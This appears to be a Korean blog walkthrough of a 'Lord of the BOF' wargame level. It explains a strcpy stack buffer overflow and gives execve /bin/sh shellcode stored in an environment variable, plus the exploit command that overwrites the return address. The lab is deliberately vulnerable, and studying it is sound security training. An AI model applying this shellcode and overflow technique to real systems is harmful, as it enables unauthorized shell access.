ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • lvl 02 gremlin -> cobolt
    Wargame/HackerSchool The Load of the BOF Redhat 2019. 1. 13. 21:36

    → 소스코드는 아래와 같다.


    1 /*

          2         The Lord of the BOF : The Fellowship of the BOF

          3         - cobolt

          4         - small buffer

          5 */

          6

          7 int main(int argc, char *argv[])

          8 {

          9     char buffer[16];

         10     if(argc < 2){

         11         printf("argv error\n");

         12         exit(0);

         13     }

         14     strcpy(buffer, argv[1]);

         15     printf("%s\n", buffer);

         16 }



    → 어셈블리 코드는 아래와 같다.


    0x8048430

    0x8048431

    0x8048433

    0x8048436

    0x804843a

    0x804843c

    0x8048441

    0x8048446

    0x8048449

    0x804844b

    0x8048450

    0x8048453

    0x8048456

    0x8048459

    0x804845b

    0x804845c

    0x804845f

    0x8048460

    0x8048465

    0x8048468

    0x804846b

    0x804846c

    0x8048471

    0x8048476

    0x8048479

    0x804847a

    <main>  

    <main+1>

    <main+3>

    <main+6>

    <main+10>

    <main+12>

    <main+17>

    <main+22>

    <main+25>

    <main+27>

    <main+32>

    <main+35>

    <main+38>

    <main+41>

    <main+43>

    <main+44>

    <main+47>

    <main+48>

    <main+53>

    <main+56>

    <main+59>

    <main+60>

    <main+65>

    <main+70>

    <main+73>

    <main+74>

    push   %ebp                   

    mov    %ebp,%esp              

    sub    %esp,16                

    cmp    DWORD PTR [%ebp+8],1   

    jg     0x8048453 <main+35>    

    push   0x80484d0              

    call   0x8048350 <printf>     

    add    %esp,4                 

    push   0                      

    call   0x8048360 <exit>       

    add    %esp,4                 

    mov    %eax,DWORD PTR [%ebp+12]

    add    %eax,4                 

    mov    %edx,DWORD PTR [%eax]  

    push   %edx                   

    lea    %eax,[%ebp-16]         

    push   %eax                   

    call   0x8048370 <strcpy>     

    add    %esp,8                 

    lea    %eax,[%ebp-16]         

    push   %eax                   

    push   0x80484dc              

    call   0x8048350 <printf>     

    add    %esp,8                 

    leave                         

    ret



    → 1번 문제와 다른점은 버퍼의 크기이다. 따라서 스택의 구조는 아래와 같다.




    → RET에 도달하기 위한 바이트 사이즈를 구하면 BUFFER(16바이트)+SFP(4바이트) 총 20바이트이다. 쉘 코드를 사입하기엔 버퍼의 크기가 작으므로 환경변수에 쉘 코드를 삽입한 후 쉘코드가 저장된 환경 변수의 주소를 구해 실행한다. 먼저, 다음과 같이 환경 변수에 쉘 코드를 저장한다.


    export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')




    → 이제 저장한 환경 변수의 주소 값을 알아야 한다. 환경 변수 중 SHELLCODE 변수의 주소를 알아내기 위해 다음과 같은 코드를 변조하여 컴파일한다.


    int main(int argc, char *argv[])

    {

        char buffer[16];

        if(argc < 2){

            printf("argv error\n");

            exit(0);

        }

        strcpy(buffer, argv[1]);

    //  printf("%s\n", buffer);

        printf("0x%x\n",getenv("SHELLCODE"));

    }




    → 쉘 코드가 담긴 환경 변수 주소 값을 구했으므로, 다음과 같은 공격 페이로드를 구성할 수 있다. RET 에는 앞서 알아낸 환경 변수 주소 값을 대입한다.




    → 반환 주소를 쉘 코드가 담긴 환경 변수의 주소 값을 넣어서, 해당 주소에 담긴 쉘 코드가 실행된다.


    → 구성한 페이로드를 바탕으로 아래와 같이 공격을 시도한다.


    ./cobolt $(python -c 'print "\x90"*20 + "\xd1\xfe\xff\xbf"')


    → 실행 결과는 아래와 같다.


    'Wargame > HackerSchool The Load of the BOF Redhat' 카테고리의 다른 글

    lvl 06 wolfman -> darkelf  (0) 2019.03.11
    lvl 05 orc -> wolfman  (0) 2019.03.11
    lvl 04 goblin -> orc  (0) 2019.03.08
    lvl 03 cobolt -> goblin  (0) 2019.01.22
    lvl 01 gate -> gremlin  (0) 2019.01.10

    댓글

Designed by Tistory.